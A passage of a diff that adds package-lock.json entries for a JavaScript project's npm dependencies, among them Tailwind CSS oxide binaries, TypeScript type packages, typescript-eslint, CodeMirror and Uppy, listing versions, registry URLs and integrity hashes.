"https://registry.npmjs.org/@tailwindcss/oxide-darwin-x64/-/oxide-darwin-x64-4.0.8.tgz", + "integrity": "sha512-fWfywfYIlSWtKoqWTjukTHLWV3ARaBRjXCC2Eo0l6KVpaqGY4c2y8snUjp1xpxUtpqwMvCvFWFaleMoz1Vhzlw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-freebsd-x64": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-freebsd-x64/-/oxide-freebsd-x64-4.0.8.tgz", + "integrity": "sha512-SO+dyvjJV9G94bnmq2288Ke0BIdvrbSbvtPLaQdqjqHR83v5L2fWADyFO+1oecHo9Owsk8MxcXh1agGVPIKIqw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm-gnueabihf": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm-gnueabihf/-/oxide-linux-arm-gnueabihf-4.0.8.tgz", + "integrity": "sha512-ZSHggWiEblQNV69V0qUK5vuAtHP+I+S2eGrKGJ5lPgwgJeAd6GjLsVBN+Mqn2SPVfYM3BOpS9jX/zVg9RWQVDQ==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm64-gnu": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm64-gnu/-/oxide-linux-arm64-gnu-4.0.8.tgz", + "integrity": "sha512-xWpr6M0OZLDNsr7+bQz+3X7zcnDJZJ1N9gtBWCtfhkEtDjjxYEp+Lr5L5nc/yXlL4MyCHnn0uonGVXy3fhxaVA==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm64-musl": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm64-musl/-/oxide-linux-arm64-musl-4.0.8.tgz", + "integrity": "sha512-5tz2IL7LN58ssGEq7h/staD7pu/izF/KeMWdlJ86WDe2Ah46LF3ET6ZGKTr5eZMrnEA0M9cVFuSPprKRHNgjeg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-linux-x64-gnu": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-x64-gnu/-/oxide-linux-x64-gnu-4.0.8.tgz", + "integrity": "sha512-KSzMkhyrxAQyY2o194NKVKU9j/c+NFSoMvnHWFaNHKi3P1lb+Vq1UC19tLHrmxSkKapcMMu69D7+G1+FVGNDXQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-linux-x64-musl": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-x64-musl/-/oxide-linux-x64-musl-4.0.8.tgz", + "integrity": "sha512-yFYKG5UtHTRimjtqxUWXBgI4Tc6NJe3USjRIVdlTczpLRxq/SFwgzGl5JbatCxgSRDPBFwRrNPxq+ukfQFGdrw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-win32-arm64-msvc": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.0.8.tgz", + "integrity": "sha512-tndGujmCSba85cRCnQzXgpA2jx5gXimyspsUYae5jlPyLRG0RjXbDshFKOheVXU4TLflo7FSG8EHCBJ0EHTKdQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-win32-x64-msvc": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-x64-msvc/-/oxide-win32-x64-msvc-4.0.8.tgz", + "integrity": "sha512-T77jroAc0p4EHVVgTUiNeFn6Nj3jtD3IeNId2X+0k+N1XxfNipy81BEkYErpKLiOkNhpNFjPee8/ZVas29b2OQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/vite": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@tailwindcss/vite/-/vite-4.0.8.tgz", + "integrity": "sha512-+SAq44yLzYlzyrb7QTcFCdU8Xa7FOA0jp+Xby7fPMUie+MY9HhJysM7Vp+vL8qIp8ceQJfLD+FjgJuJ4lL6nyg==", + "license": "MIT", + "dependencies": { + "@tailwindcss/node": "4.0.8", + "@tailwindcss/oxide": "4.0.8", + "lightningcss": "^1.29.1", + "tailwindcss": "4.0.8" + }, + "peerDependencies": { + "vite": "^5.2.0 || ^6" + } + }, + "node_modules/@tanstack/react-virtual": { + "version": "3.13.0", + "resolved": "https://registry.npmjs.org/@tanstack/react-virtual/-/react-virtual-3.13.0.tgz", + "integrity": "sha512-CchF0NlLIowiM2GxtsoKBkXA4uqSnY2KvnXo+kyUFD4a4ll6+J0qzoRsUPMwXV/H26lRsxgJIr/YmjYum2oEjg==", + "license": "MIT", + "dependencies": { + "@tanstack/virtual-core": "3.13.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/@tanstack/virtual-core": { + "version": "3.13.0", + "resolved": "https://registry.npmjs.org/@tanstack/virtual-core/-/virtual-core-3.13.0.tgz", + "integrity": "sha512-NBKJP3OIdmZY3COJdWkSonr50FMVIi+aj5ZJ7hI/DTpEKg2RMfo/KvP8A3B/zOSpMgIe52B5E2yn7rryULzA6g==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + } + }, + "node_modules/@transloadit/prettier-bytes": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/@transloadit/prettier-bytes/-/prettier-bytes-0.3.5.tgz", + "integrity": "sha512-xF4A3d/ZyX2LJWeQZREZQw+qFX4TGQ8bGVP97OLRt6sPO6T0TNHBFTuRHOJh7RNmYOBmQ9MHxpolD9bXihpuVA==", + "license": "MIT" + }, + "node_modules/@types/babel__core": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", + "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.6.8", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.6.8.tgz", + "integrity": "sha512-ASsj+tpEDsEiFr1arWrlN6V3mdfjRMZt6LtK/Vp/kreFLnr5QH5+DhvD5nINYZXzwJvXeGq+05iUXcAzVrqWtw==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.4", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", + "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.20.6", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.20.6.tgz", + "integrity": "sha512-r1bzfrm0tomOI8g1SzvCaQHo6Lcv6zu0EA+W2kHrt8dyrHQxGzBBL4kdkzIS+jBMV+EYcMAEAqXqYaLJq5rOZg==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.20.7" + } + }, + "node_modules/@types/d3-array": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.2.tgz", + "integrity": "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw==", + "license": "MIT" + }, + "node_modules/@types/d3-color": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz", + "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==", + "license": "MIT" + }, + "node_modules/@types/d3-ease": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz", + "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA==", + "license": "MIT" + }, + "node_modules/@types/d3-interpolate": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz", + "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==", + "license": "MIT", + "dependencies": { + "@types/d3-color": "*" + } + }, + "node_modules/@types/d3-path": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", + "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==", + "license": "MIT" + }, + "node_modules/@types/d3-scale": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.9.tgz", + "integrity": "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==", + "license": "MIT", + "dependencies": { + "@types/d3-time": "*" + } + }, + "node_modules/@types/d3-shape": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.8.tgz", + "integrity": "sha512-lae0iWfcDeR7qt7rA88BNiqdvPS5pFVPpo5OfjElwNaT2yyekbM0C9vK+yqBqEmHr6lDkRnYNoTBYlAgJa7a4w==", + "license": "MIT", + "dependencies": { + "@types/d3-path": "*" + } + }, + "node_modules/@types/d3-time": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz", + "integrity": "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g==", + "license": "MIT" + }, + "node_modules/@types/d3-timer": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz", + "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==", + "license": "MIT" + }, + "node_modules/@types/estree": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", + "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", + "license": "MIT" + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/lodash": { + "version": "4.17.25", + "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.17.25.tgz", + "integrity": "sha512-+K1NIO8I+F9/wNulfVvu23QYd0Pe9/OCqRrim4NoYIf1VoEDL90Ve4ClzpyqBLc7NpGGWRvYNCKZ1BE/Jpf8dQ==", + "license": "MIT" + }, + "node_modules/@types/lodash-es": { + "version": "4.17.12", + "resolved": "https://registry.npmjs.org/@types/lodash-es/-/lodash-es-4.17.12.tgz", + "integrity": "sha512-0NgftHUcV4v34VhXm8QBSftKVXtbkBG3ViCjs6+eJ5a6y6Mi/jiFGPc1sC7QK+9BFhWrURE3EOggmWaSxL9OzQ==", + "license": "MIT", + "dependencies": { + "@types/lodash": "*" + } + }, + "node_modules/@types/node": { + "version": "26.1.1", + "resolved": "https://registry.npmjs.org/@types/node/-/node-26.1.1.tgz", + "integrity": "sha512-nxAkRSVkN1Y0JC1W8ky/fTfkGsMmcrRsbx+3XoZE+rMOX71kLYTV7fLXpqud1GpbpP5TuffXFqfX7fH2GgZREw==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "undici-types": "~8.3.0" + } + }, + "node_modules/@types/react": { + "version": "19.0.10", + "resolved": "https://registry.npmjs.org/@types/react/-/react-19.0.10.tgz", + "integrity": "sha512-JuRQ9KXLEjaUNjTWpzuR231Z2WpIwczOkBEIvbHNCzQefFIT0L8IqE6NV6ULLyC1SI/i234JnDoMkfg+RjQj2g==", + "license": "MIT", + "dependencies": { + "csstype": "^3.0.2" + } + }, + "node_modules/@types/react-dom": { + "version": "19.0.4", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.0.4.tgz", + "integrity": "sha512-4fSQ8vWFkg+TGhePfUzVmat3eC14TXYSsiiDSLI0dVLsrm9gZFABjPy/Qu6TKgl1tq1Bu1yDsuQgY3A3DOjCcg==", + "license": "MIT", + "peerDependencies": { + "@types/react": "^19.0.0" + } + }, + "node_modules/@types/retry": { + "version": "0.12.2", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.2.tgz", + "integrity": "sha512-XISRgDJ2Tc5q4TRqvgJtzsRkFYNJzZrhTdtMoGVBttwzzQJkPnS3WWTFc7kuDRoPtPakl+T+OfdEUjYJj7Jbow==", + "license": "MIT" + }, + "node_modules/@types/use-sync-external-store": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/@types/use-sync-external-store/-/use-sync-external-store-0.0.6.tgz", + "integrity": "sha512-zFDAD+tlpf2r4asuHEj0XH6pY6i0g5NeAHPn+15wk3BV6JA69eERFXC1gyGThDkVa1zCyKr5jox1+2LbV/AMLg==", + "license": "MIT" + }, + "node_modules/@types/ws": { + "version": "8.18.1", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.18.1.tgz", + "integrity": "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@typescript-eslint/eslint-plugin": { + "version": "8.24.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.24.1.tgz", + "integrity": "sha512-ll1StnKtBigWIGqvYDVuDmXJHVH4zLVot1yQ4fJtLpL7qacwkxJc1T0bptqw+miBQ/QfUbhl1TcQ4accW5KUyA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/regexpp": "^4.10.0", + "@typescript-eslint/scope-manager": "8.24.1", + "@typescript-eslint/type-utils": "8.24.1", + "@typescript-eslint/utils": "8.24.1", + "@typescript-eslint/visitor-keys": "8.24.1", + "graphemer": "^1.4.0", + "ignore": "^5.3.1", + "natural-compare": "^1.4.0", + "ts-api-utils": "^2.0.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "@typescript-eslint/parser": "^8.0.0 || ^8.0.0-alpha.0", + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <5.8.0" + } + }, + "node_modules/@typescript-eslint/parser": { + "version": "8.24.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.24.1.tgz", + "integrity": "sha512-Tqoa05bu+t5s8CTZFaGpCH2ub3QeT9YDkXbPd3uQ4SfsLoh1/vv2GEYAioPoxCWJJNsenXlC88tRjwoHNts1oQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/scope-manager": "8.24.1", + "@typescript-eslint/types": "8.24.1", + "@typescript-eslint/typescript-estree": "8.24.1", + "@typescript-eslint/visitor-keys": "8.24.1", + "debug": "^4.3.4" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <5.8.0" + } + }, + "node_modules/@typescript-eslint/scope-manager": { + "version": "8.24.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.24.1.tgz", + "integrity": "sha512-OdQr6BNBzwRjNEXMQyaGyZzgg7wzjYKfX2ZBV3E04hUCBDv3GQCHiz9RpqdUIiVrMgJGkXm3tcEh4vFSHreS2Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.24.1", + "@typescript-eslint/visitor-keys": "8.24.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/type-utils": { + "version": "8.24.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.24.1.tgz", + "integrity": "sha512-/Do9fmNgCsQ+K4rCz0STI7lYB4phTtEXqqCAs3gZW0pnK7lWNkvWd5iW545GSmApm4AzmQXmSqXPO565B4WVrw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/typescript-estree": "8.24.1", + "@typescript-eslint/utils": "8.24.1", + "debug": "^4.3.4", + "ts-api-utils": "^2.0.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <5.8.0" + } + }, + "node_modules/@typescript-eslint/types": { + "version": "8.24.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.24.1.tgz", + "integrity": "sha512-9kqJ+2DkUXiuhoiYIUvIYjGcwle8pcPpdlfkemGvTObzgmYfJ5d0Qm6jwb4NBXP9W1I5tss0VIAnWFumz3mC5A==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/typescript-estree": { + "version": "8.24.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.24.1.tgz", + "integrity": "sha512-UPyy4MJ/0RE648DSKQe9g0VDSehPINiejjA6ElqnFaFIhI6ZEiZAkUI0D5MCk0bQcTf/LVqZStvQ6K4lPn/BRg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.24.1", + "@typescript-eslint/visitor-keys": "8.24.1", + "debug": "^4.3.4", + "fast-glob": "^3.3.2", + "is-glob": "^4.0.3", + "minimatch": "^9.0.4", + "semver": "^7.6.0", + "ts-api-utils": "^2.0.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <5.8.0" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.4.tgz", + "integrity": "sha512-hGfVzPxthbf3+2yjg/RBs60cB0FhqBS/zvdV/4wn4/BmN0bNMMHPc4V/BbFieqf1TKAGGAHnY4eSjajCl0f2Xg==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": { + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.2" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": { + "version": "7.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.1.tgz", + "integrity": "sha512-hlq8tAfn0m/61p4BVRcPzIGr6LKiMwo4VM6dGi6pt4qcRkmNzTcWq6eCEjEh+qXjkMDvPlOFFSGwQjoEa6gyMA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/utils": { + "version": "8.24.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.24.1.tgz", + "integrity": "sha512-OOcg3PMMQx9EXspId5iktsI3eMaXVwlhC8BvNnX6B5w9a4dVgpkQZuU8Hy67TolKcl+iFWq0XX+jbDGN4xWxjQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.4.0", + "@typescript-eslint/scope-manager": "8.24.1", + "@typescript-eslint/types": "8.24.1", + "@typescript-eslint/typescript-estree": "8.24.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <5.8.0" + } + }, + "node_modules/@typescript-eslint/visitor-keys": { + "version": "8.24.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.24.1.tgz", + "integrity": "sha512-EwVHlp5l+2vp8CoqJm9KikPZgi3gbdZAtabKT9KPShGeOcJhsv4Zdo3oc8T8I0uKEmYoU4ItyxbptjF08enaxg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.24.1", + "eslint-visitor-keys": "^4.2.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@uiw/codemirror-extensions-basic-setup": { + "version": "4.25.11", + "resolved": "https://registry.npmjs.org/@uiw/codemirror-extensions-basic-setup/-/codemirror-extensions-basic-setup-4.25.11.tgz", + "integrity": "sha512-otyFa+n9IOYtEjaKOxPedHkj15fTPUF21wdR9pv0GpZPfuGl27cvmcv6+tognbRu9VvEcsHKE+ESoszeo3KfTw==", + "license": "MIT", + "dependencies": { + "@codemirror/autocomplete": "^6.0.0", + "@codemirror/commands": "^6.0.0", + "@codemirror/language": "^6.0.0", + "@codemirror/lint": "^6.0.0", + "@codemirror/search": "^6.0.0", + "@codemirror/state": "^6.0.0", + "@codemirror/view": "^6.0.0" + }, + "funding": { + "url": "https://jaywcjlove.github.io/#/sponsor" + }, + "peerDependencies": { + "@codemirror/autocomplete": ">=6.0.0", + "@codemirror/commands": ">=6.0.0", + "@codemirror/language": ">=6.0.0", + "@codemirror/lint": ">=6.0.0", + "@codemirror/search": ">=6.0.0", + "@codemirror/state": ">=6.0.0", + "@codemirror/view": ">=6.0.0" + } + }, + "node_modules/@uiw/react-codemirror": { + "version": "4.25.11", + "resolved": "https://registry.npmjs.org/@uiw/react-codemirror/-/react-codemirror-4.25.11.tgz", + "integrity": "sha512-DYVFAKLX+F/4JS9N/7xexh+TICrlncwkX9HKKInrP1bwO0tSfc3k0GB6oawTYhelVKh20cX3TuRx+NJSkVXuMw==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.6", + "@codemirror/commands": "^6.1.0", + "@codemirror/state": "^6.1.1", + "@codemirror/theme-one-dark": "^6.0.0", + "@uiw/codemirror-extensions-basic-setup": "4.25.11", + "codemirror": "^6.0.0" + }, + "funding": { + "url": "https://jaywcjlove.github.io/#/sponsor" + }, + "peerDependencies": { + "@babel/runtime": ">=7.11.0", + "@codemirror/state": ">=6.0.0", + "@codemirror/theme-one-dark": ">=6.0.0", + "@codemirror/view": ">=6.0.0", + "codemirror": ">=6.0.0", + "react": ">=17.0.0", + "react-dom": ">=17.0.0" + } + }, + "node_modules/@uppy/aws-s3": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@uppy/aws-s3/-/aws-s3-5.1.0.tgz", + "integrity": "sha512-UBz+shrtDbnOf11AboDrkc9Fq2Cdf8HbFftE+gqfxig6fkv5rHpHhBCLkl8wCGAq+X/CxdqvvNhm/OM23Uzw2w==", + "license": "MIT", + "dependencies": { + "@uppy/companion-client": "^5.1.1", + "@uppy/utils": "^7.1.4" + }, + "peerDependencies": { + "@uppy/core": "^5.2.0" + } + }, + "node_modules/@uppy/companion-client": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/@uppy/companion-client/-/companion-client-5.1.1.tgz", + "integrity": "sha512-DzrOWTbIZHvtgAFXBMYHk2wD27NjpBSVhY2tEiEIUhPd2CxbFRZjHM/N3HOt3VwZEAP471QWFLlJRWPcIY3A2Q==", + "license": "MIT", + "dependencies": { + "@uppy/utils": "^7.1.1", + "namespace-emitter": "^2.0.1", + "p-retry": "^6.1.0" + }, + "peerDependencies": { + "@uppy/core": "^5.1.1" + } + }, + "node_modules/@uppy/components": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@uppy/components/-/components-1.2.0.tgz", + "integrity": "sha512-rtIr+77Rw/q5Vw++xazF1dCg2d4A4zT9CV+ZyN8Rsx8xiIr2CxCR4TaHHBy+WeC0b7Mk6yNuJ0wUa34tFJ6pKg==", + "license": "MIT", + "dependencies": { + "clsx": "^2.1.1", + "dequal": "^2.0.3", + "preact": "^10.26.10", + "pretty-bytes": "^6.1.1" + }, + "peerDependencies": { + "@uppy/core": "^5.2.0", + "@uppy/image-editor": "^4.2.0", + "@uppy/screen-capture": "^5.1.0", + "@uppy/webcam": "^5.1.0" + }, + "peerDependenciesMeta": { + "@uppy/image-editor": { + "optional": true + }, + "@uppy/screen-capture": { + "optional": true + }, + "@uppy/webcam": { + "optional": true + } + } + }, + "node_modules/@uppy/core": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@uppy/core/-/core-5.2.0.tgz", + "integrity": "sha512-uvfNyz4cnaplt7LYJmEZHuqOuav0tKp4a9WKJIaH6iIj7XiqYvS2J5SEByexAlUFlzefOAyjzj4Ja2dd/8aMrw==", + "license": "MIT", + "dependencies": { + "@transloadit/prettier-bytes": "^0.3.4", + "@uppy/store-default": "^5.0.0", + "@uppy/utils": "^7.1.4", + "lodash": "^4.17.21", + "mime-match": "^1.0.2", + "namespace-emitter": "^2.0.1", + "nanoid": "^5.0.9", + "preact": "^10.5.13" + } + }, + "node_modules/@uppy/core/node_modules/nanoid": { + "version": "5.1.16", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-5.1.16.tgz", + "integrity": "sha512-kVrnsrJqMR8+oLJnGEmSWw9BivK5mt7H3FZatVRjrc5wGqFYuBxX1yG7+A7Gi5AefkX6t/oCkizcQgpu0cY1dQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.js" + }, + "engines": { + "node": "^18 || >=20" + } + }, + "node_modules/@uppy/dashboard": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/@uppy/dashboard/-/dashboard-5.1.1.tgz", + "integrity": "sha512-6H/xVvhhdfwp1+FRMp2C+tudyaedqD5+LMDB8Iw20k9+QCL1eGzOh4wXm6MCqJtNfQ1tLaprGMG1jlo7yS/uyw==", + "license": "MIT", + "dependencies": { + "@transloadit/prettier-bytes": "^0.3.4", + "@uppy/provider-views": "^5.2.2", + "@uppy/thumbnail-generator": "^5.1.0", + "@uppy/utils": "^7.1.5", + "classnames": "^2.2.6", + "lodash": "^4.17.23", + "nanoid": "^5.0.9", + "preact": "^10.26.10", + "shallow-equal": "^3.0.0" + }, + "peerDependencies": { + "@uppy/core": "^5.2.0" + } + }, + 